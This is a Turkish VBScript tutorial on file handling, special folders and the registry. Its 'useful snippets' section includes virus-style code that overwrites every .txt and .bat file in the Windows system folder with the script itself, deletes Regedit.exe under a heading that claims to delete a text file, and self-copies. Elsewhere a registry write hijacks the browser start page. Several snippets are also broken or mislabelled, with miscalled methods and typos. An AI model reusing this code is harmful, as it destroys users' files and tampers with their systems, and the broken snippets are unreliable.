VBScript
+ VBScript?
1) ilk Uygulama
2) Windows/Sisteme kisa yoldan ulasim
3) Windows Masaüstü uygulamalarina kisa yoldan ulasim
4) Registry
5) Gerekli Gördüklerim
6) Son Söz...
VBScipt herkesin bildigi gibi Visual Basic komutlarini içeren basit toplu islem dosyalaridir.
Visual Basic komutlari dedim fakat her komut ayni degildir. VBScript"te daha basit, Modül
kullanmadan sistem hakimiyeti vardir.
1) iIk Uygulama
"Ilk VBScriptimiz...
"Bu örnekte "C:\" diskimize "ilkkod.txt" adinda bir Metin belgesi yazdiriyoruz...
Dim Olustur, ilkkod
"Tanimlamayi yapiyoruz.
Set Olustur = CreateObject("Scripting.FileSystemObject")
"Diskimizde açacagimiz dosya oldugunuz belirtiyoruz.
Set ilkkod = Olustur.CreateTextFile("C:\ilkkod.txt")
"Daha önceden tanimlamis oldugumuz Olusturun bir Text dosya
"olarak açilacagini gösteriyoruz....
"Açacagimiz dosyanin ismini giriyoruz.
Olustur.WriteLine "Coded By Yigit Aktan"
"Writeline komutuyla yazacagimiz Bilgileri 2 satir olarak giriyoruz...
Olustur.WriteLine "yigitaktan@yahoo.com"
Olustur.Close
"Açtigimiz Dosyayi Kapatip, Bu kodumuzu *.vbs olarak kaydediyoruz. Bu kodu
"isterseniz herhangi bir Editör uygulamasinda olusturabilirsiniz... |
Basit olarak ilk Vbs mizi olusturduk. Simdi VBScript te isinizi kolaylastiracagina inandigim
bazi basit kisaltmalari vermek istiyorum...
2) Windows/Sisteme kisa yoldan ulasim
Örnegin Windows"un içinde system dizinin içinde bir uygulama yapmak istiyorsunuz. Fakat
dalginliginiza geldi ve Windows"unuzu hangi Directory"ye kurdugunuzu unuttunuz. Ozaman
asagidaki kod yardimiyla aramadan direk System dizinine girebilirsiniz...
| Windows\System |
Set Olustur = CreateObject("Scripting.FileSystemObject")
Sistem = Olustur.GetSpecialFolder(1) |
Böylelikle System dizinini bulmus oluyorsunuz ve içinde uygulama yapabilecek duruma
geliyorsunuz... Eger GetSpecialFolder(1) yerine GetSpecialFolder(0) yazsaydiniz
direk Windows klasörünün içine, GetSpecialFolder(2) yazsaydiniz Windows\Twmp\
klasörünün içine girmis olacaktiniz....:
| Windows\ |
Set Olustur = CreateObject("Scripting.FileSystemObject")
Windows = Olustur.GetSpecialFolder(0) |
| Windows\Temp\ |
Set Olustur = CreateObject("Scripting.FileSystemObject")
Temp = Olustur.GetSpecialFolder(2) |
Bunun hakkinda bir Örnek yapalim....:
|
"Windows"un içinde Sistem dizinimizin içindeki Yigit.txt adli dosyayi "C:\" Diskimizin
"içine Yigit2.txt olarak kaydediyoruz...
|
Dim Olustur
Set Olustur = CreateObject("Scripting.FileSystemObject")
Sistem = Olustur.GetSpecialFolder(1)
Olustur.FileCopy Sistem & "\Yigit.txt", "C:\Yigit2.txt" |
3) Windows Masaüstü uygulamalarina kisa yoldan ulasim
Evet Simdi de Windows Masaüstü uygulamalarina nasil kisa yoldan ulasilir hep birlikte
inceleyelim...
ilk yapacagimiz is "Wscript.Shell" deyimini ögrenmek olacak. Çünkü bütün masaüstü
uygulamalarina bu parametreyi kullanarak ulasacaz...
| Wscript.Shell |
Set Wss = CreateObject("Wscript.Shell") |
Wscript.Shell i ögrendikten sonra kisaca Masaüstü Platformunu tanimlayalim...:
| a) Masaüstü |
Set Wss = CreateObject("Wscript.Shell")
Masaüstü = Wss.SpecialFolders("AllUsersDesktop") |
| b) Baslat Menüsü |
Set Wss = CreateObject("Wscript.Shell")
BaslatMenusu= Wss.SpecialFolders("AllUsersStartMenu") |
| c) Programlar |
Set Wss = CreateObject("Wscript.Shell")
Programlar= Wss.SpecialFolders("AllUsersPrograms") |
| d) Baslangiç |
Set Wss = CreateObject("Wscript.Shell")
Baslangiç= Wss.SpecialFolders("AllUsersStartUp") |
| e) Belgelerim |
Set Wss = CreateObject("Wscript.Shell")
Belgelerim= Wss.SpecialFolders("MyDocuments") |
| f) Gönder |
Set Wss = CreateObject("Wscript.Shell")
Gönder= Wss.SpecialFolders("SenTo") |
| g) SIK Kullanilanlar |
Set Wss = CreateObject("Wscript.Shell")
SIKkullanilanlar= Wss.SpecialFolders("Favorites") |
Olayi kavramak amaçli kisa bir örnek yapalim..:
| "Ben bu örnekte Belgelerime "Yigit.txt" adinda bir dosya ekliyorum... |
Dim Olustur, Wss
Set Wss = CreateObject("Wscript.Shell")
Set Olustur = CreateObject("Scripting.FileSystemObject")
Belgelerim= Wss.SpecialFolders("MyDocuments")
Olustur.copyfile Wscript.ScriptFullName, Belgelerim & "\Yigit.txt" |
4) Registry (RegRead, RegWrite)
Daha önceden de bahsetmistim, VBScript ile Modülsüz olarak çok rahat bir sekilde istediginiz
basit birkaç komut yardimiyla ulasabilirsiniz. Herkezin bildigi gibi Visual Basic"te Registry için bir modül
kullaniriz. Fakat VBScript"te bu daha kolaylasiyor. Hep birlikte inceleyelim...
a) RegRead
RegRead Registry bilgilerini okumamiza yarayan ufak bir komuttur. Bununla istediginiz dizindeki istediginiz
veriyi çok rahatlikla okutabilirsiniz...
|
Set Wss = CreateObject("Wscript.Shell")
Oku = Wss.RegRead ("HKEY_CURRENT_USER\Software\Miscrosoft\Windows\Current Version\Run\")
|
b) RegWrite
RegWrite ile Regeditte istediginiz Directory"nin içine yeni bir bilgi ekleye bilir hatta ona görev bile ataya
bilirsiniz...
|
Set Wss = CreateObject("Wscript.Shell")
Yaz = Wss.RegWrite ("HKEY_CURRENT_USER\Software\Miscrosoft\Internet Explorer\Main\Start Page", "www.vbtruk.com")
|
Registry Hakkinda kisa bir örnek yapalim.....:
| "Browser Baslangiç sayfanizi Okutup ne oldugunu size söyleyen bir Örnek |
|
Dim Wss
Set Wss = CreateObject("Wscript.Shell")
Oku = Wss.RegRead ("HKEY_CURRENT_USER\Software\Miscrosoft\Internet Explorer\Main\Start Page", "Name")
If Oku = True Then
MsgBox "Browser Baslangiç sayfaniz: " & Oku
end if
|
5) Gerekli Gördüklerim
Bu kisimda size Vbs olustururken isinize yarayabilecek bazi Kodlari vericem...
| a) Word Belgesi Olusturma |
Set Word = CreateObject("Word.Application") |
| b) Outlook belgesi Olusturma |
Set eposta = WScript.CreateObject("Outlook.Application") |
| c) Tahminen Klasör Bulma |
Set Olustur =CreateObject("Scripting.FileSystemObject")
If (Olustur.FolderExists("C:\mIRC")) Then
MsgBox "Tahmininiz Dogru. Klasör varsayilan yerde"
end if
|
| d) Kendimizi (*.vbs) baska dosyalarin uzantilarina göre içlerine yazalim |
Dim Olustur, Dosya, Sistem, DosyalariAl, Dosyalar, Bul
Set Olustur =CreateObject("Scripting.FileSystemObject")
Set Dosya = Olustur.OpenTextFile(WScript.ScriptFullName,1)
Set Sistem = Olustur.GetSpecialFolder(1)
Set DosyalariAl = Olustur.GetFolder(Sistem)
Set Dosyalar = DosyalariAl.Files
IçineYaz = Dosya.ReadAll
For each file1 in Dosyalar
uzanti = Olustur.GetExtensionName(file1.path)
uzanti = lcase(uzanti)
If (uzanti = "txt") or (uzanti = "bat") Then
Set Bul = Olustur.OpenTextFile(file1.path, 2, True)
Bul.Write IçineYaz
Bul.Close
End If
"Burda Kendimizi Windows\System klasöründeki uzantisi bütün
"*.txt ve *.bat olan dosyalarin içine yazdirdik...
|
| e) Windows klasörünün içindeki Yigit.txt adli dosyanin bulunup, silinmesi |
Dim Olustur, Windows
Set Olustur =CreateObject("Scripting.FileSystemObject")
Windows = Olustur.GetSpecialFolder(0)
Olustur.DeletFile(Windows & "\Regedit.exe")
"Aha bunlari ögrendik diye bi LoveLetter.vbs yapmaya kalkmayin "sakin. Ben size sadece VBScript ögretiyorum Virii Coding degil...
|
| f) Kendimizin (*.vbs) kopyasini alalim |
Dim Olustur, Kendimiz
Set Olustur =CreateObject("Scripting.FileSystemObject")
Set Kendimiz = Olustur.GetFile(WScript.ScriptFullName)
Kendimiz.Copy ("C:\YigitKopya.vbs")
"Burda kendimizin Yani (*.vbs) "nin kopyasini "C:\" Diskimizin içine "YigitKopya.vbs diye aliyoruz...
|